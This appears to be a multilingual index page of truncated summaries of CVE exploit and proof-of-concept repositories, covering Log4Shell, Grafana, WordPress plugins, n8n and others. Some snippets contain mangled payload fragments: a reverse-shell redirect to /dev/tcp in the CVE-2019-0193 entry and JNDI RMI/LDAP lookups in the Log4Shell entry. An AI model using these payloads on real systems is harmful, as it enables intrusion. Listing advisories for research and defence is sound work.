CVE-2021-43614

CVE-2021-43614 affects the VariableEditSmm component in Insyde UEFI firmware . The root cause is an error in handling the PlatformLangCodes UEFI variable, which can cause a buffer overflow leading to resource exhaustion and failure; the CVE title further suggests potential for code execution . Th...

CVE-2021-43614 VariableEditSmm: Error checking of UEFI variables could cause buffer overflow, leading to code execution

Error in handling the PlatformLangCodes UEFI variable could cause a buffer overflow, leading to resource exhaustion and failure...

CVE-2026-56705

CVE-2026-56705: Adminer 5.4.3 — Неаутентифицированный RCE через инъекцию в PDO DSN для MSSQL...

CVE-2025-4190

CVE-2025-4190 — WordPress CSV Mass Importer ≤ 1.2: Произвольная загрузка файлов -purple 📌 Описание Плагин CSV Mass Importer ≤ 1.2 для WordPress содержит уязвимость Admin+ Arbitrary File Upload произвольная загрузка файлов администратором. Из-за неправильной проверки загружаемых файлов пользовател...

cve-2026-39440-funnelforms-fix

Исправление CVE-2026-39440 для FunnelForms Готовый к установке WordPress-плагин, который блокирует уязвимый обработчик импорта демо-данных в FunnelForms Pro ≤ 3.8.1 для устранения удалённого выполнения кода CVE-2026-39440, CVSS 9.9. Уязвимость...

Research-CVE-2026-21858

CVE-2026-21858 Ni8mare: n8n 인증 우회 및 원격 코드 실행 1. 취약점 개요 이름: Ni8mare CVE ID: CVE-2026-21858 CVSS 점수: 10.0 치명적 취약점 유형: 인증 우회, 로컬 파일 포함LFI, 원격 코드 실행RCE 영향을 받는 버전: n8n 1.65.0 및 이전 버전 패치 버전: n8n 1.121.0 2025년 11월 출시 2. 취약점 설명 이 치명적인 취약점은 원격의 인증되지 않은 공격자가 양식 기반 워크플로우를 통해 서버 파일에 무단으로 접근할 수 있게 합니다. 이 로컬 파...

CVE-2026-41900-POC

OpenLearnX-RCE Неаутентифицированное RCE в OpenLearnX через монтирование тома контейнера Обнаружение на основе диффа → Тихий патч → Побег из песочницы → Полное раскрытие /tmp...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a"...

CVE-2026-44590

CVE-2026-44590 - sherlock-project/sherlock CI - pullrequesttarget 주입을 통한 RCE → 공급망 손상 발견 및 보고: Astaruf 전체 분석 문서: https://nstsec.com/en/posts/sherlock-rce-pull-request-target-cve-2026-44590/ 업스트림 권고: sherlock-project/sherlock GHSA advisory NVD 항목: https://nvd.nist.gov/vuln/detail/CVE-2026-44590 CV...

cve-2018-1273

CVE-2018-1273 Spring Data Commons RCE — уязвимость удалённого выполнения команд Использование root@kitploit: C:\Users\CTF\Desktoppython cve-2018-1273.py / / | / / /| |/ : touch /tmp/jas502n 405, May Have a CVE-2018-1273 vulnerability! CVE-2018-1273 Vulnerability Exit! Cmd : Запрос BurpSuite:...

CVE-2024-36104

CVE-2024-36104 Avertissement Cet outil est destiné uniquement à la recherche personnelle en sécurité et à l'apprentissage. Toute conséquence directe ou indirecte ainsi que les pertes résultant de la diffusion ou de l'utilisation de cet outil relèvent de la seule responsabilité de l'utilisateur...

CVE-2024-9264

🚨 CVE-2024-9264 - SQL-инъекция в Grafana, ведущая к удаленному выполнению кода RCE и чтению файлов Инструмент эксплуатации для CVE-2024-9264, критической уязвимости в Grafana , позволяющей аутентифицированному злоумышленнику выполнить SQL-запрос, ведущий к RCE. 🛡️ Этот инструмент предназначен...

CVE-2021-44228-Demo

CVE-2021-44228-Demo Пример удаленного внедрения кода с использованием CVE-2021-44228 через RMI и LDAP. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit...

CVE-2024-47051

概要 アップロードされたファイルの内容、タイプ、拡張子のサニタイゼーションが不十分なため、Asset Edition 機能では、認証された攻撃者が Web ディレクトリ内に任意の PHP コードを書き込み、そのファイルが書き込まれた場所を特定することができます。これにより、リモートコード実行（RCE: Remote Code Execution）が発生します。 また、パストラバーサルを利用して、Web ユーザーが変更権限を持つファイルシステム上の任意のディレクトリを再帰的に削除することも可能です。 詳細 - RCE /assets/view/assetID ルート経由で Asset...

MASS-CVE-2024-27956

MASS-CVE-2024-27956-RCE PoC для CVE-2024-27956, SQL-инъекция в плагине ValvePress Automatic. Этот PoC эксплуатирует уязвимость, создавая пользователя в целевой системе и предоставляя права администратора. Став администратором WordPress, можно получить удаленное выполнение кода. Использование...

CVE-2022-23614

CVE-2022-23614 Preuve de concept pour CVE-2022-23614, GHSA-5mv2-rx3q-4w2v exécution de code/dépassement du bac à sable du filtre sort de Twig Comme vu dans ce commit - https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9, twig passait le nom de fonction fourni par...

CVE-2020-8840

CVE-2020-8840 Code d'analyse et de reproduction de l'environnement pour la vulnérabilité d'exécution de code à distance dans Jackson-databind CVE-2020-8840. Le projet contient : Payloads dans jackson-databind et Fastjson Classe malveillante WebServer marshalsec-0.0.3-SNAPSHOT-all.jar compilé...

CVE-2026-32662

CERT/CC VU653116 | Консультация CISA ICSA-26-055-03 | Все CVE | Репозиторий кейсов CVE-2026-32662: Активный отладочный код в производственной среде Консультация Поле| Значение ---|--- CVE| CVE-2026-32662 ICSA| ICSA-26-055-03 Обновление A CVSS 3.1| 5.3 Средний Вектор|...

CVE-2026-5027

CVE-2026-5027 — Обход пути в Langflow с последующим удалённым выполнением кода Описание Версии Langflow до 1.8.4 включительно не санитизируют параметр filename в конечной точке POST /api/v2/files. Злоумышленник может использовать последовательности обхода пути ../ для записи файлов в произвольные...

CVE-2026-0740

CVE-2026-0740 : Ninja Forms - File Upload = 3.3.26 Неаутентифицированная произвольная загрузка файлов. Описание : Плагин Ninja Forms - File Uploads для WordPress уязвим к неаутентифицированной произвольной загрузке файлов из-за отсутствия проверки типа файлов и отсутствия проверки прав доступа в...